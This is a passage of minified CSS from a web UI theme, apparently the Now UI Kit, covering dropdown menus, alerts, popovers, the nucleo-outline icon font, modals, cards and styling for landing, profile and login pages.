.nav-link:not(.btn):active{background-color:rgba(222,222,222,.3)}.navbar.bg-white:not(.navbar-transparent) .logo-container{border:1px solid #888}.bg-default{background-color:#888!important}.bg-primary{background-color:#f96332!important}.bg-info{background-color:#2ca8ff!important}.bg-success{background-color:#18ce0f!important}.bg-danger{background-color:#ff3636!important}.bg-warning{background-color:#ffb236!important}.bg-white{background-color:#fff!important}.dropdown-menu{border:0;box-shadow:0 10px 50px 0 rgba(0,0,0,.2);border-radius:.125rem;-webkit-transition:all 150ms linear;-moz-transition:all 150ms linear;-o-transition:all 150ms linear;-ms-transition:all 150ms linear;transition:all 150ms linear;font-size:14px}.dropdown-menu.dropdown-menu-right:before{left:auto;right:10px}.dropdown-menu:before{display:inline-block;position:absolute;width:0;height:0;vertical-align:middle;content:"";top:-5px;left:10px;right:auto;color:#fff;border-bottom:.4em solid;border-right:.4em solid transparent;border-left:.4em solid transparent}.dropdown-menu .dropdown-item{font-size:.8571em;padding-top:.5rem;padding-bottom:.5rem;-webkit-transition:all 150ms linear;-moz-transition:all 150ms linear;-o-transition:all 150ms linear;-ms-transition:all 150ms linear;transition:all 150ms linear}.dropdown-menu .dropdown-item:hover,.dropdown-menu .dropdown-item:focus{background-color:rgba(222,222,222,.3)}.dropdown-menu .dropdown-divider{background-color:rgba(222,222,222,.5)}.dropdown-menu .dropdown-header:not([href]):not([tabindex]){color:rgba(182,182,182,.6);font-size:.7142em;text-transform:uppercase;font-weight:700}.dropdown-menu.dropdown-primary{background-color:#f95823}.dropdown-menu.dropdown-primary:before{color:#f95823}.dropdown-menu.dropdown-primary .dropdown-header:not([href]):not([tabindex]){color:rgba(255,255,255,.8)}.dropdown-menu.dropdown-primary .dropdown-item{color:#fff}.dropdown-menu.dropdown-primary .dropdown-item:hover,.dropdown-menu.dropdown-primary .dropdown-item:focus{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-primary .dropdown-divider{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-info{background-color:#1da2ff}.dropdown-menu.dropdown-info:before{color:#1da2ff}.dropdown-menu.dropdown-info .dropdown-header:not([href]):not([tabindex]){color:rgba(255,255,255,.8)}.dropdown-menu.dropdown-info .dropdown-item{color:#fff}.dropdown-menu.dropdown-info .dropdown-item:hover,.dropdown-menu.dropdown-info .dropdown-item:focus{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-info .dropdown-divider{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-danger{background-color:#ff2727}.dropdown-menu.dropdown-danger:before{color:#ff2727}.dropdown-menu.dropdown-danger .dropdown-header:not([href]):not([tabindex]){color:rgba(255,255,255,.8)}.dropdown-menu.dropdown-danger .dropdown-item{color:#fff}.dropdown-menu.dropdown-danger .dropdown-item:hover,.dropdown-menu.dropdown-danger .dropdown-item:focus{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-danger .dropdown-divider{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-success{background-color:#16c00e}.dropdown-menu.dropdown-success:before{color:#16c00e}.dropdown-menu.dropdown-success .dropdown-header:not([href]):not([tabindex]){color:rgba(255,255,255,.8)}.dropdown-menu.dropdown-success .dropdown-item{color:#fff}.dropdown-menu.dropdown-success .dropdown-item:hover,.dropdown-menu.dropdown-success .dropdown-item:focus{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-success .dropdown-divider{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-warning{background-color:#ffac27}.dropdown-menu.dropdown-warning:before{color:#ffac27}.dropdown-menu.dropdown-warning .dropdown-header:not([href]):not([tabindex]){color:rgba(255,255,255,.8)}.dropdown-menu.dropdown-warning .dropdown-item{color:#fff}.dropdown-menu.dropdown-warning .dropdown-item:hover,.dropdown-menu.dropdown-warning .dropdown-item:focus{background-color:rgba(255,255,255,.2)}.dropdown-menu.dropdown-warning .dropdown-divider{background-color:rgba(255,255,255,.2)}.dropdown .dropdown-menu{-webkit-transform:translate3d(0,-25px,0);-moz-transform:translate3d(0,-25px,0);-o-transform:translate3d(0,-25px,0);-ms-transform:translate3d(0,-25px,0);transform:translate3d(0,-25px,0);visibility:hidden;display:block;opacity:0;filter:alpha(opacity=0)}.dropdown.show .dropdown-menu,.dropdown-menu.open{opacity:1;filter:alpha(opacity=100);visibility:visible;-webkit-transform:translate3d(0,0px,0);-moz-transform:translate3d(0,0px,0);-o-transform:translate3d(0,0px,0);-ms-transform:translate3d(0,0px,0);transform:translate3d(0,0px,0)}.navbar .dropdown.show .dropdown-menu{-webkit-transform:translate3d(0,7px,0);-moz-transform:translate3d(0,7px,0);-o-transform:translate3d(0,7px,0);-ms-transform:translate3d(0,7px,0);transform:translate3d(0,7px,0)}.button-dropdown{padding-right:.7rem;cursor:pointer}.button-dropdown .dropdown-toggle{padding-top:.5rem;padding-bottom:.5rem;display:block}.button-dropdown .dropdown-toggle:after{display:none}.alert{border:0;border-radius:0;color:#fff;padding-top:.9rem;padding-bottom:.9rem;position:relative}.alert.alert-success{background-color:rgba(24,206,15,.8)}.alert.alert-danger{background-color:rgba(255,54,54,.8)}.alert.alert-warning{background-color:rgba(255,178,54,.8)}.alert.alert-info{background-color:rgba(44,168,255,.8)}.alert.alert-primary{background-color:rgba(249,99,50,.8)}.alert .alert-icon{display:block;float:left;margin-right:15px;margin-top:-1px}.alert strong{text-transform:uppercase;font-size:12px}.alert i.fa,.alert i.now-ui-icons{font-size:20px}.alert .close{color:#fff;opacity:.9;text-shadow:none;line-height:0;outline:0}img{max-width:100%;border-radius:1px}.img-raised{box-shadow:0 10px 25px 0 rgba(0,0,0,.3)}.popover{font-size:14px;box-shadow:0 10px 50px 0 rgba(0,0,0,.2);border:none;line-height:1.7;max-width:240px}.popover.bs-popover-top .arrow:before,.popover.bs-popover-left .arrow:before,.popover.bs-popover-right .arrow:before,.popover.bs-popover-bottom .arrow:before{border-top-color:transparent;border-left-color:transparent;border-right-color:transparent;border-bottom-color:transparent}.popover .popover-header{color:rgba(182,182,182,.6);font-size:14px;text-transform:capitalize;font-weight:600;margin:0;margin-top:5px;border:none;background-color:transparent}.popover:before{display:none}.popover.bs-tether-element-attached-top:after{border-bottom-color:#fff;top:-9px}.popover.popover-primary{background-color:#f96332}.popover.popover-primary .popover-body{color:#fff}.popover.popover-primary.bs-popover-right .arrow:after{border-right-color:#f96332}.popover.popover-primary.bs-popover-top .arrow:after{border-top-color:#f96332}.popover.popover-primary.bs-popover-bottom .arrow:after{border-bottom-color:#f96332}.popover.popover-primary.bs-popover-left .arrow:after{border-left-color:#f96332}.popover.popover-primary .popover-header{color:#fff;opacity:.6}.popover.popover-info{background-color:#2ca8ff}.popover.popover-info .popover-body{color:#fff}.popover.popover-info.bs-popover-right .arrow:after{border-right-color:#2ca8ff}.popover.popover-info.bs-popover-top .arrow:after{border-top-color:#2ca8ff}.popover.popover-info.bs-popover-bottom .arrow:after{border-bottom-color:#2ca8ff}.popover.popover-info.bs-popover-left .arrow:after{border-left-color:#2ca8ff}.popover.popover-info .popover-header{color:#fff;opacity:.6}.popover.popover-warning{background-color:#ffb236}.popover.popover-warning .popover-body{color:#fff}.popover.popover-warning.bs-popover-right .arrow:after{border-right-color:#ffb236}.popover.popover-warning.bs-popover-top .arrow:after{border-top-color:#ffb236}.popover.popover-warning.bs-popover-bottom .arrow:after{border-bottom-color:#ffb236}.popover.popover-warning.bs-popover-left .arrow:after{border-left-color:#ffb236}.popover.popover-warning .popover-header{color:#fff;opacity:.6}.popover.popover-danger{background-color:#ff3636}.popover.popover-danger .popover-body{color:#fff}.popover.popover-danger.bs-popover-right .arrow:after{border-right-color:#ff3636}.popover.popover-danger.bs-popover-top .arrow:after{border-top-color:#ff3636}.popover.popover-danger.bs-popover-bottom .arrow:after{border-bottom-color:#ff3636}.popover.popover-danger.bs-popover-left .arrow:after{border-left-color:#ff3636}.popover.popover-danger .popover-header{color:#fff;opacity:.6}.popover.popover-success{background-color:#18ce0f}.popover.popover-success .popover-body{color:#fff}.popover.popover-success.bs-popover-right .arrow:after{border-right-color:#18ce0f}.popover.popover-success.bs-popover-top .arrow:after{border-top-color:#18ce0f}.popover.popover-success.bs-popover-bottom .arrow:after{border-bottom-color:#18ce0f}.popover.popover-success.bs-popover-left .arrow:after{border-left-color:#18ce0f}.popover.popover-success .popover-header{color:#fff;opacity:.6}.tooltip.bs-tooltip-right .arrow:before{border-right-color:#fff}.tooltip.bs-tooltip-top .arrow:before{border-top-color:#fff}.tooltip.bs-tooltip-bottom .arrow:before{border-bottom-color:#fff}.tooltip.bs-tooltip-left .arrow:before{border-left-color:#fff}.tooltip-inner{padding:.5rem .7rem;min-width:130px;background-color:#fff;font-size:14px;color:inherit;box-shadow:0 5px 25px 0 rgba(0,0,0,.2)}@font-face{font-family:nucleo outline;src:url(../fonts/nucleo-outline.eot);src:url(../fonts/nucleo-outline.eot) format("embedded-opentype"),url(../fonts/nucleo-outline.woff2) format("woff2"),url(../fonts/nucleo-outline.woff) format("woff"),url(../fonts/nucleo-outline.ttf) format("truetype");font-weight:400;font-style:normal}.now-ui-icons{display:inline-block;font:14px/1 nucleo outline;font-size:inherit;speak:none;text-transform:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.now-ui-icons.circle{padding:.33333333em;vertical-align:-16%;background-color:#eee}.now-ui-icons.circle{border-radius:50%}.nc-icon-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.nc-icon-ul>li{position:relative}.nc-icon-ul>li>.now-ui-icons{position:absolute;left:-1.57142857em;top:.14285714em;text-align:center}.nc-icon-ul>li>.now-ui-icons.circle{top:-.19047619em;left:-1.9047619em}.now-ui-icons.spin{-webkit-animation:nc-icon-spin 2s infinite linear;-moz-animation:nc-icon-spin 2s infinite linear;animation:nc-icon-spin 2s infinite linear}@-webkit-keyframes nc-icon-spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}@-moz-keyframes nc-icon-spin{0%{-moz-transform:rotate(0deg)}100%{-moz-transform:rotate(360deg)}}@keyframes nc-icon-spin{0%{-webkit-transform:rotate(0deg);-moz-transform:rotate(0deg);-ms-transform:rotate(0deg);-o-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg);-moz-transform:rotate(360deg);-ms-transform:rotate(360deg);-o-transform:rotate(360deg);transform:rotate(360deg)}}.now-ui-icons.ui-1_check:before{content:"\ea22"}.now-ui-icons.ui-1_email-85:before{content:"\ea2a"}.now-ui-icons.arrows-1_cloud-download-93:before{content:"\ea21"}.now-ui-icons.arrows-1_cloud-upload-94:before{content:"\ea24"}.now-ui-icons.arrows-1_minimal-down:before{content:"\ea39"}.now-ui-icons.arrows-1_minimal-left:before{content:"\ea3a"}.now-ui-icons.arrows-1_minimal-right:before{content:"\ea3b"}.now-ui-icons.arrows-1_minimal-up:before{content:"\ea3c"}.now-ui-icons.arrows-1_refresh-69:before{content:"\ea44"}.now-ui-icons.arrows-1_share-66:before{content:"\ea4c"}.now-ui-icons.business_badge:before{content:"\ea09"}.now-ui-icons.business_bank:before{content:"\ea0a"}.now-ui-icons.business_briefcase-24:before{content:"\ea13"}.now-ui-icons.business_bulb-63:before{content:"\ea15"}.now-ui-icons.business_chart-bar-32:before{content:"\ea1e"}.now-ui-icons.business_chart-pie-36:before{content:"\ea1f"}.now-ui-icons.business_globe:before{content:"\ea2f"}.now-ui-icons.business_money-coins:before{content:"\ea40"}.now-ui-icons.clothes_tie-bow:before{content:"\ea5b"}.now-ui-icons.design_vector:before{content:"\ea61"}.now-ui-icons.design_app:before{content:"\ea08"}.now-ui-icons.design_bullet-list-67:before{content:"\ea14"}.now-ui-icons.design_image:before{content:"\ea33"}.now-ui-icons.design_palette:before{content:"\ea41"}.now-ui-icons.design_scissors:before{content:"\ea4a"}.now-ui-icons.design-2_html5:before{content:"\ea32"}.now-ui-icons.design-2_ruler-pencil:before{content:"\ea48"}.now-ui-icons.emoticons_satisfied:before{content:"\ea49"}.now-ui-icons.files_box:before{content:"\ea12"}.now-ui-icons.files_paper:before{content:"\ea43"}.now-ui-icons.files_single-copy-04:before{content:"\ea52"}.now-ui-icons.health_ambulance:before{content:"\ea07"}.now-ui-icons.loader_gear:before{content:"\ea4e"}.now-ui-icons.loader_refresh:before{content:"\ea44"}.now-ui-icons.location_bookmark:before{content:"\ea10"}.now-ui-icons.location_compass-05:before{content:"\ea25"}.now-ui-icons.location_map-big:before{content:"\ea3d"}.now-ui-icons.location_pin:before{content:"\ea47"}.now-ui-icons.location_world:before{content:"\ea63"}.now-ui-icons.media-1_album:before{content:"\ea02"}.now-ui-icons.media-1_button-pause:before{content:"\ea16"}.now-ui-icons.media-1_button-play:before{content:"\ea18"}.now-ui-icons.media-1_button-power:before{content:"\ea19"}.now-ui-icons.media-1_camera-compact:before{content:"\ea1c"}.now-ui-icons.media-2_note-03:before{content:"\ea3f"}.now-ui-icons.media-2_sound-wave:before{content:"\ea57"}.now-ui-icons.objects_diamond:before{content:"\ea29"}.now-ui-icons.objects_globe:before{content:"\ea2f"}.now-ui-icons.objects_key-25:before{content:"\ea38"}.now-ui-icons.objects_planet:before{content:"\ea46"}.now-ui-icons.objects_spaceship:before{content:"\ea55"}.now-ui-icons.objects_support-17:before{content:"\ea56"}.now-ui-icons.objects_umbrella-13:before{content:"\ea5f"}.now-ui-icons.education_agenda-bookmark:before{content:"\ea01"}.now-ui-icons.education_atom:before{content:"\ea0c"}.now-ui-icons.education_glasses:before{content:"\ea2d"}.now-ui-icons.education_hat:before{content:"\ea30"}.now-ui-icons.education_paper:before{content:"\ea42"}.now-ui-icons.shopping_bag-16:before{content:"\ea0d"}.now-ui-icons.shopping_basket:before{content:"\ea0b"}.now-ui-icons.shopping_box:before{content:"\ea11"}.now-ui-icons.shopping_cart-simple:before{content:"\ea1d"}.now-ui-icons.shopping_credit-card:before{content:"\ea28"}.now-ui-icons.shopping_delivery-fast:before{content:"\ea27"}.now-ui-icons.shopping_shop:before{content:"\ea50"}.now-ui-icons.shopping_tag-content:before{content:"\ea59"}.now-ui-icons.sport_trophy:before{content:"\ea5d"}.now-ui-icons.sport_user-run:before{content:"\ea60"}.now-ui-icons.tech_controller-modern:before{content:"\ea26"}.now-ui-icons.tech_headphones:before{content:"\ea31"}.now-ui-icons.tech_laptop:before{content:"\ea36"}.now-ui-icons.tech_mobile:before{content:"\ea3e"}.now-ui-icons.tech_tablet:before{content:"\ea58"}.now-ui-icons.tech_tv:before{content:"\ea5e"}.now-ui-icons.tech_watch-time:before{content:"\ea62"}.now-ui-icons.text_align-center:before{content:"\ea05"}.now-ui-icons.text_align-left:before{content:"\ea06"}.now-ui-icons.text_bold:before{content:"\ea0e"}.now-ui-icons.text_caps-small:before{content:"\ea1b"}.now-ui-icons.gestures_tap-01:before{content:"\ea5a"}.now-ui-icons.transportation_air-baloon:before{content:"\ea03"}.now-ui-icons.transportation_bus-front-12:before{content:"\ea17"}.now-ui-icons.travel_info:before{content:"\ea04"}.now-ui-icons.travel_istanbul:before{content:"\ea34"}.now-ui-icons.ui-1_bell-53:before{content:"\ea0f"}.now-ui-icons.ui-1_calendar-60:before{content:"\ea1a"}.now-ui-icons.ui-1_lock-circle-open:before{content:"\ea35"}.now-ui-icons.ui-1_send:before{content:"\ea4d"}.now-ui-icons.ui-1_settings-gear-63:before{content:"\ea4e"}.now-ui-icons.ui-1_simple-add:before{content:"\ea4f"}.now-ui-icons.ui-1_simple-delete:before{content:"\ea54"}.now-ui-icons.ui-1_simple-remove:before{content:"\ea53"}.now-ui-icons.ui-1_zoom-bold:before{content:"\ea64"}.now-ui-icons.ui-2_chat-round:before{content:"\ea20"}.now-ui-icons.ui-2_favourite-28:before{content:"\ea2b"}.now-ui-icons.ui-2_like:before{content:"\ea37"}.now-ui-icons.ui-2_settings-90:before{content:"\ea4b"}.now-ui-icons.ui-2_time-alarm:before{content:"\ea5c"}.now-ui-icons.users_circle-08:before{content:"\ea23"}.now-ui-icons.users_single-02:before{content:"\ea51"}.modal-content{border-radius:.1875rem;border:none;box-shadow:0 10px 50px 0 rgba(0,0,0,.5)}.modal-content .modal-header{border-bottom:none;padding-top:24px;padding-right:24px;padding-bottom:0;padding-left:24px}.modal-content .modal-header button{position:absolute;right:27px;top:30px;outline:0}.modal-content .modal-header .title{margin-top:5px;margin-bottom:0}.modal-content .modal-body{padding-top:24px;padding-right:24px;padding-bottom:16px;padding-left:24px;line-height:1.9}.modal-content .modal-footer{border-top:none;padding-right:24px;padding-bottom:16px;padding-left:24px;-webkit-justify-content:space-between;justify-content:space-between}.modal-content .modal-footer button{margin:0;padding-left:16px;padding-right:16px;width:auto}.modal-content .modal-footer button.pull-left{padding-left:5px;padding-right:5px;position:relative;left:-5px}.modal-content .modal-body+.modal-footer{padding-top:0}.modal-backdrop{background:rgba(0,0,0,.3)}.modal.modal-mini p{text-align:center}.modal.modal-mini .modal-dialog{max-width:255px;margin:0 auto}.modal.modal-mini .modal-profile{width:70px;height:70px;background-color:#fff;border-radius:50%;text-align:center;line-height:5.9;box-shadow:0 5px 50px 0 rgba(0,0,0,.3)}.modal.modal-mini .modal-profile i{color:#f96332;font-size:21px}.modal.modal-mini .modal-profile[class*=modal-profile-] i{color:#fff}.modal.modal-mini .modal-profile.modal-profile-primary{background-color:#f96332}.modal.modal-mini .modal-profile.modal-profile-danger{background-color:#ff3636}.modal.modal-mini .modal-profile.modal-profile-warning{background-color:#ffb236}.modal.modal-mini .modal-profile.modal-profile-success{background-color:#18ce0f}.modal.modal-mini .modal-profile.modal-profile-info{background-color:#2ca8ff}.modal.modal-mini .modal-footer button{text-transform:uppercase}.modal.modal-mini .modal-footer button:first-child{opacity:.5}.modal.modal-default .modal-content{background-color:#fff;color:#2c2c2c}.modal.modal-default .modal-header .close{color:#2c2c2c}.modal.modal-primary .modal-content{background-color:#f96332;color:#fff}.modal.modal-primary .modal-header .close{color:#fff}.modal.modal-danger .modal-content{background-color:#ff3636;color:#fff}.modal.modal-danger .modal-header .close{color:#fff}.modal.modal-warning .modal-content{background-color:#ffb236;color:#fff}.modal.modal-warning .modal-header .close{color:#fff}.modal.modal-success .modal-content{background-color:#18ce0f;color:#fff}.modal.modal-success .modal-header .close{color:#fff}.modal.modal-info .modal-content{background-color:#2ca8ff;color:#fff}.modal.modal-info .modal-header .close{color:#fff}.modal.show.modal-mini .modal-dialog{-webkit-transform:translate(0,30%);-o-transform:translate(0,30%);transform:translate(0,30%)}.modal .modal-header .close{color:#ff3636;text-shadow:none}.modal .modal-header .close:hover,.modal .modal-header .close:focus{opacity:1}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.carousel .carousel-inner{box-shadow:0 10px 25px 0 rgba(0,0,0,.3)}.carousel .now-ui-icons{font-size:2em}.card{border:0;border-radius:.1875rem;display:inline-block;position:relative;overflow:hidden;width:100%;margin-bottom:20px;box-shadow:0 5px 25px 0 rgba(0,0,0,.2)}.card .card-body{min-height:190px}.card [data-background-color=orange]{background-color:#f96332}.card [data-background-color=red]{background-color:#ff3636}.card [data-background-color=yellow]{background-color:#ffb236}.card [data-background-color=blue]{background-color:#2ca8ff}.card [data-background-color=green]{background-color:#18ce0f}.card-signup{max-width:350px;margin:0 auto}.card-signup .header{margin-left:20px;margin-right:20px;padding:30px 0}.card-signup .text-divider{margin-top:30px;margin-bottom:0;text-align:center}.card-signup .card-body{padding-top:0;padding-bottom:0;min-height:auto}.card-signup .checkbox{margin-top:20px}.card-signup .checkbox label{margin-left:17px}.card-signup .checkbox .checkbox-material{padding-right:12px}.card-signup .social-line{margin-top:20px;text-align:center}.card-signup .social-line .btn.btn-icon,.card-signup .social-line .btn.btn-icon .btn-icon -mini{margin-left:5px;margin-right:5px;box-shadow:0 5px 50px 0 rgba(0,0,0,.2)}.card-signup .footer{margin-bottom:10px;margin-top:24px}.card-plain{background:transparent;box-shadow:none}.card-plain .header{margin-left:0;margin-right:0}.card-plain .content{padding-left:0;padding-right:0}.footer{padding:24px 0}.footer.footer-default{background-color:#f2f2f2}.footer nav{display:inline-block;float:left}.footer ul{margin-bottom:0;padding:0;list-style:none}.footer ul li{display:inline-block}.footer ul li a{color:inherit;padding:.5rem;font-size:.8571em;text-transform:uppercase;text-decoration:none}.footer ul li a:hover{text-decoration:none}.footer .copyright{font-size:.8571em}.footer:after{display:table;clear:both;content:" "}.index-page .page-header{height:125vh}.index-page .page-header .container>.content-center{top:37%}.index-page .page-header .category-absolute{position:absolute;top:100vh;margin-top:-60px;padding:0 15px;width:100%;color:rgba(255,255,255,.5)}.landing-page .header{height:100vh;position:relative}.landing-page .header .container{padding-top:26vh;color:#fff;z-index:2;position:relative}.landing-page .header .share{margin-top:150px}.landing-page .header h1{font-weight:600}.landing-page .header .title{color:#fff}.landing-page .section-team .team .team-player img{max-width:100px}.landing-page .section-team .team-player{margin-bottom:15px}.landing-page .section-contact-us .title{margin-bottom:15px}.landing-page .section-contact-us .description{margin-bottom:30px}.landing-page .section-contact-us .input-group,.landing-page .section-contact-us .send-button,.landing-page .section-contact-us .textarea-container{padding:0 40px}.landing-page .section-contact-us .textarea-container{margin:40px 0}.landing-page .section-contact-us a.btn{margin-top:35px}.profile-page .page-header{min-height:550px}.profile-page .profile-container{color:#fff}.profile-page .photo-container{width:123px;height:123px;border-radius:50%;overflow:hidden;margin:0 auto;box-shadow:0 10px 25px 0 rgba(0,0,0,.3)}.profile-page .title{text-align:center;margin-top:30px}.profile-page .description,.profile-page .category{text-align:center}.profile-page h5.description{max-width:700px;margin:20px auto 75px}.profile-page .nav-align-center{margin-top:30px}.profile-page .content{max-width:450px;margin:0 auto}.profile-page .content .social-description{display:inline-block;max-width:150px;width:145px;text-align:center;margin:15px 0 0}.profile-page .content .social-description h2{margin-bottom:15px}.profile-page .button-container{text-align:center;margin-top:-106px}.profile-page .collections img{margin-bottom:30px}.profile-page .gallery{margin-top:45px;padding-bottom:50px}.section-full-page:after,.section-full-page:before{display:block;content:"";position:absolute;width:100%;height:100%;top:0;left:0;z-index:2}.section-full-page:before{background-color:rgba(0,0,0,.5)}.section-full-page[filter-color=purple]:after,.section-full-page[filter-color=primary]:after{background:rgba(227,227,227,.26);background:-webkit-linear-gradient(90deg,rgba(227,227,227,0.26),rgba(249,99,50,0.95));background:-o-linear-gradient(90deg,rgba(227,227,227,0.26),rgba(249,99,50,0.95));background:-moz-linear-gradient(90deg,rgba(227,227,227,0.26),rgba(249,99,50,0.95));background:linear-gradient(0deg,rgba(227,227,227,0.26),rgba(249,99,50,0.95))}.section-full-page[data-image]:after{opacity:.5}.section-full-page>.content,.section-full-page>.footer{position:relative;z-index:4}.section-full-page>.content{min-height:calc(100vh - 80px)}.section-full-page .full-page-background{position:absolute;z-index:1;height:100%;width:100%;display:block;top:0;left:0;background-size:cover;background-position:50%}.section-full-page .footer nav>ul a:not(.btn),.section-full-page .footer,.section-full-page .footer .copyright a{color:#fff}.login-page .card-login{border-radius:.25rem;padding-bottom:.7rem;max-width:320px}.login-page .card-login .btn-wd{min-width:180px}.login-page .card-login .logo-container{width:65px;margin:0 auto;margin-bottom:55px}.login-page .card-login .logo-container img{width:100%}.login-page .card-login .input-group:last-child{margin-bottom:40px}.login-page .card-login.card-plain .form-control::-moz-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}.login-page .card-login.card-plain .form-control:-moz-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}.login-page .card-login.card-plain .form-control::-webkit-input-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}.login-page .card-login.card-plain .form-control:-ms-input-placeholder{color:#ebebeb;opacity:1;filter:alpha(opacity=100)}.login-page .card-login.card-plain .form-control{border-color:rgba(255,255,255,.5);color:#fff}.login-page .card-login.card-plain .form-control:focus{border-color:#fff;background-color:transparent;color:#fff}.login-page .card-login.card-plain .has-success:after,.login-page .card-login.card-plain .has-danger:after{color:#fff}.login-page .card-login.card-plain .has-danger .form-control{background-color:transparent}.login-page .card-login.card-plain .input-group-addon{background-color:transparent;border-color:rgba(255,255,255,.5);color:#fff}.login-page .card-login.card-plain .input-group-focus .input-group-addon{background-color:transparent;border-color:#fff;color:#fff}.login-page .card-login.card-plain .form-group.form-group-no-border .form-control,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control{background-color:rgba(255,255,255,.1);color:#fff}.login-page .card-login.card-plain .form-group.form-group-no-border .form-control:focus,.login-page .card-login.card-plain .form-group.form-group-no-border .form-control:active,.login-page .card-login.card-plain .form-group.form-group-no-border .form-control:active,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control:focus,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control:active,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control:active{background-color:rgba(255,255,255,.2);color:#fff}.login-page .card-login.card-plain .form-group.form-group-no-border .form-control+.input-group-addon,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control+.input-group-addon{background-color:rgba(255,255,255,.1)}.login-page .card-login.card-plain .form-group.form-group-no-border .form-control+.input-group-addon:focus,.login-page .card-login.card-plain .form-group.form-group-no-border .form-control+.input-group-addon:active,.login-page .card-login.card-plain .form-group.form-group-no-border .form-control+.input-group-addon:active,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control+.input-group-addon:focus,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control+.input-group-addon:active,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control+.input-group-addon:active{background-color:rgba(255,255,255,.2);color:#fff}.login-page .card-login.card-plain .form-group.form-group-no-border .form-control:focus+.input-group-addon,.login-page .card-login.card-plain .input-group.form-group-no-border .form-control:focus+.input-group-addon{background-color:rgba(255,255,255,.2);color:#fff}.login-page .card-login.card-plain .form-group.form-group-no-border .input-group-addon,.login-page .card-login.card-plain .input-group.form-group-no-border .input-group-addon{background-color:rgba(255,255,255,.1);border:none;color:#fff}.login-page .card-login.card-plain .form-group.form-group-no-border.input-group-focus .input-group-addon,.login-page .card-login.card-plain .input-group.form-group-no-border.input-group-focus .input-group-addon{background-color:rgba(255,255,255,.2);color:#fff}.login-page .card-login.card-plain .input-group-addon,.login-page .card-login.card-plain .form-group.form-group-no-border .input-group-addon,.login-page .card-login.card-plain .input-group.form-group-no-border .input-group-addon{color:rgba(255,255,255,.8)}.login-page .link{font-size:10px;color:#fff;text-decoration:none}.section{padding:70px 0;position:relative;background:#fff}.section .row+.category{margin-top:15px}.section-navbars{padding-bottom:0}.section-full-screen{height:100vh}.section-signup{padding-top:20vh}.page-header{height:100vh;max-height:1050px;padding:0;color:#fff;position:relative;background-position:50%;background-size:cover}.page-header .page-header-image{position:absolute;background-size:cover;background-position:50%;width:100%;height:100%;z-index:-1}.page-header footer{position:absolute;bottom:0;width:100%}.page-header .container{height:100%;z-index:1;text-align:center;position:relative}.page-header .container>.content-center{position:absolute;top:50%;left:50%;-ms-transform:translate(-50%,-50%);-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);text-align:center;padding:0 15px;color:#fff;width:100%;max-width:880px}.page-header .category,.page-header .description{color:rgba(255,255,255,.5)}.page-header.page-header-small{height:60vh;max-height:440px}.page-header:after,.page-header:before{position:absolute;z-index:0;width:100%;height:100%;display:block;left:0;top:0;content:""}.page-header:before{background-color:rgba(0,0,0,.5)}.page-header[filter-color=orange]{background:rgba(44,44,44,.2);background:-webkit-linear-gradient(90deg,rgba(44,44,44,0.2),rgba(224,23,3,0.6));background:-o-linear-gradient(90deg,rgba(44,44,44,0.2),rgba(224,23,3,0.6));background:-moz-linear-gradient(90deg,rgba(44,44,44,0.2),rgba(224,23,3,0.6));background:linear-gradient(0deg,rgba(44,44,44,0.2),rgba(224,23,3,0.6))}.page-header .container{z-index:2}.clear-filter:after,.clear-filter:before{display:none}.section-story-overview{padding:50px 0}.section-story-overview .image-container{height:335px;position:relative;background-position:50%;background-size:cover;box-shadow:0 10px 25px 0 rgba(0,0,0,.3);border-radius:.25rem}.section-story-overview .image-container+.category{padding-top:15px}.section-story-overview .image-container.image-right{z-index:2}.section-story-overview .image-container.image-right+h3.title{margin-top:120px}.section-story-overview .image-container.image-left{z-index:1}.section-story-overview .image-container:nth-child(2){margin-top:420px;margin-left:-105px}.section-story-overview p.blockquote{width:220px;min-height:180px;text-align:left;position:absolute;top:376px;right:155px;z-index:0}.section-nucleo-icons .nucleo-container img{width:auto;left:0;top:0;height:100%;position:absolute}.section-nucleo-icons .nucleo-container{height:335px;position:relative}.section-nucleo-icons h5{margin-bottom:35px}.section-nucleo-icons .icons-container{position:relative;max-width:450px;height:300px;max-height:300px;margin:0 auto}.section-nucleo-icons .icons-container i{font-size:34px;position:absolute;left:0;top:0}.section-nucleo-icons .icons-container i:nth-child(1){top:5%;left:7%}.section-nucleo-icons .icons-container i:nth-child(2){top:28%;left:24%}.section-nucleo-icons .icons-container i:nth-child(3){top:40%}.section-nucleo-icons .icons-container i:nth-child(4){top:18%;left:62%}.section-nucleo-icons .icons-container i:nth-child(5){top:74%;left:3%}.section-nucleo-icons .icons-container i:nth-child(6){top:36%;left:44%;font-size:65px;color:#f96332;padding:1px}.section-nucleo-icons .icons-container i:nth-child(7){top:59%;left:26%}.section-nucleo-icons .icons-container i:nth-child(8){top:60%;left:69%}.section-nucleo-icons .icons-container i:nth-child(9){top:72%;left:47%}.section-nucleo-icons .icons-container i:nth-child(10){top:88%;left:27%}.section-nucleo-icons .icons-container i:nth-child(11){top:31%;left:80%}.section-nucleo-icons .icons-container i:nth-child(12){top:88%;left:68%}.section-nucleo-icons .icons-container i:nth-child(13){top:5%;left:81%}.section-nucleo-icons .icons-container i:nth-child(14){top:58%;left:90%}.section-nucleo-icons .icons-container 